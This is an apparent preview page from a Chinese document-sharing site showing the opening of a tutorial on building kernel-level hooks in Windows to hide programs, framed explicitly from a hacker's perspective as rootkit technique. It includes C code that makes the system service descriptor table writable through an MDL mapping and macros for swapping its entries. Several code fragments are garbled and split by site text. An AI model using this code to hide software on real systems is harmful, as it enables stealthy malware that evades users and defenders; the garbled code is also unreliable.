建立内核级钩子控制操作系统实现程序隐身

建立内核级钩子控制操作系统实现程序隐身

ID:9711247

大小:61.00 KB

页数:7页

时间:2018-05-05

建立内核级钩子控制操作系统实现程序隐身_第1页
建立内核级钩子控制操作系统实现程序隐身_第2页
建立内核级钩子控制操作系统实现程序隐身_第3页
建立内核级钩子控制操作系统实现程序隐身_第4页
建立内核级钩子控制操作系统实现程序隐身_第5页
资源描述:

《建立内核级钩子控制操作系统实现程序隐身》由会员上传分享,免费在线阅读,更多相关内容在应用文档-天天文库

1、建立内核级钩子控制操作系统实现程序隐身~教育资源库  我们知道,应用程序总是离不开系统内核所提供的服务,比如它要使用内存的时候,只要跟操作系统申请就行了,而不用自己操心哪里有空闲的内存空间等问题,实际上,这些问题是由操作系统的内核来代劳的。站在黑客的角度讲,如果能够控制内核,实际上就是控制了内核之上的各种应用程序。本文将向您介绍如何建立内核级钩子来控制操作系统向上提供的各种低级功能。有了内核级钩子,我们不但能够控制、监视其他程序并过滤有关数据,还能用其实现Rootkit本身及其它程序的隐形。  本文首先回顾系统调用表和内存保护方面的知识,然后讲解如何实现内核钩子,最后对一些重要的内核函数

2、进行了简要的说明。  一、系统调用表  系统调用表又称系统服务表或者服务描述符表,是DL,*PMDL;  #defineMDL_MAPPED_TO_SYSTEM_VA0x0001  #defineMDL_PAGES_LOCKED0x0002  #defineMDL_SOURCE_IS_NONPAGED_POOL0x0004  #defineMDL_ALLOCATED_FIXED_SIZE0x0008  #defineMDL_PARTIAL0x0010  #defineMDL_PARTIAL_HAS_BEEN_MAPPED0x0020  #defineMDL_IO_PAGE_READ0x0

3、040  #defineMDL_DL_PARENT_MAPPED_SYSTEM_VA0x0100  #defineMDL_FREE_EXTRA_PTES0x0200  #defineMDL_IO_SPACE0x0800  #defineMDL_DL_MAPPING_CAN_FAIL0x2000  #defineMDL_ALLOCATED_MUST_SUCCEED0x4000  #defineMDL_MAPPING_FLAGS(MDL_MAPPED_TO_SYSTEM_VA

4、  MDL_PAGES_LOCKED

5、  MDL_SOURCE_IS_NONPAGED_POOL

6、  MDL_PAR

7、TIAL_HAS_BEEN_MAPPED

8、  MDL_PARENT_MAPPED_SYSTEM_VA

9、  MDL_SYSTEM_VA

10、  MDL_IO_SPACE)  内存描述符表(MDL)的作用是将虚拟内存映射成物理页。如果将系统调用表所在内存页的MDL的MDLFlags成员设为MDL_MAPPED_TO_SYSTEM_VA并且该页面被锁定的话,那么就可以使用内核钩子技术了。以下代码将可以达此目的:  #pragmapack(1)  typedefstructServiceDescriptorEntry  {  unsignedint*ServiceTableBase;  unsign

11、edint*ServiceCounterTableBase;  unsignedintNumberOfServices;  unsignedchar*ParamTableBase;  }ServiceDescriptorTableEntry_t,*PServiceDescriptorTableEntry_t;  #pragmapack()  __declspec(dllimport)ServiceDescriptorTableEntry_tKeServiceDescriptorTable;  PVOID*NeCallTable;  PMDLpMyMDL=MmCreateMdl(NULL,

12、  KeServiceDescriptorTable.ServiceTableBase,  KeServiceDescriptorTable.NumberOfServices*4);  MmBuildMdlForNonPagedPool(pMyMDL);  pMyMDL->MdlFlags=pMyMDL->MdlFlags

13、MDL_MAPPED_TO_SYSTEM_VA;  NeCallTable=MmMapLockedPages(pMyMDL,KernelMode);  好了,我们现在可以通过NeCallTable来123下一页友情提醒:,特别!新建系统调用表了。系统调用表

14、如下图所示。  图1系统调用表示意图  进行挂钩时,可以使用以下宏:  #defineHOOK_INDEX(function2hook)*(PULONG)((PUCHAR)function2hook+1)  #defineHOOK(functionName,nep;NeCallTable[HOOK_INDEX(functionName)],(LONG)nee,oldPointer2Function)  InterlockedExch

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。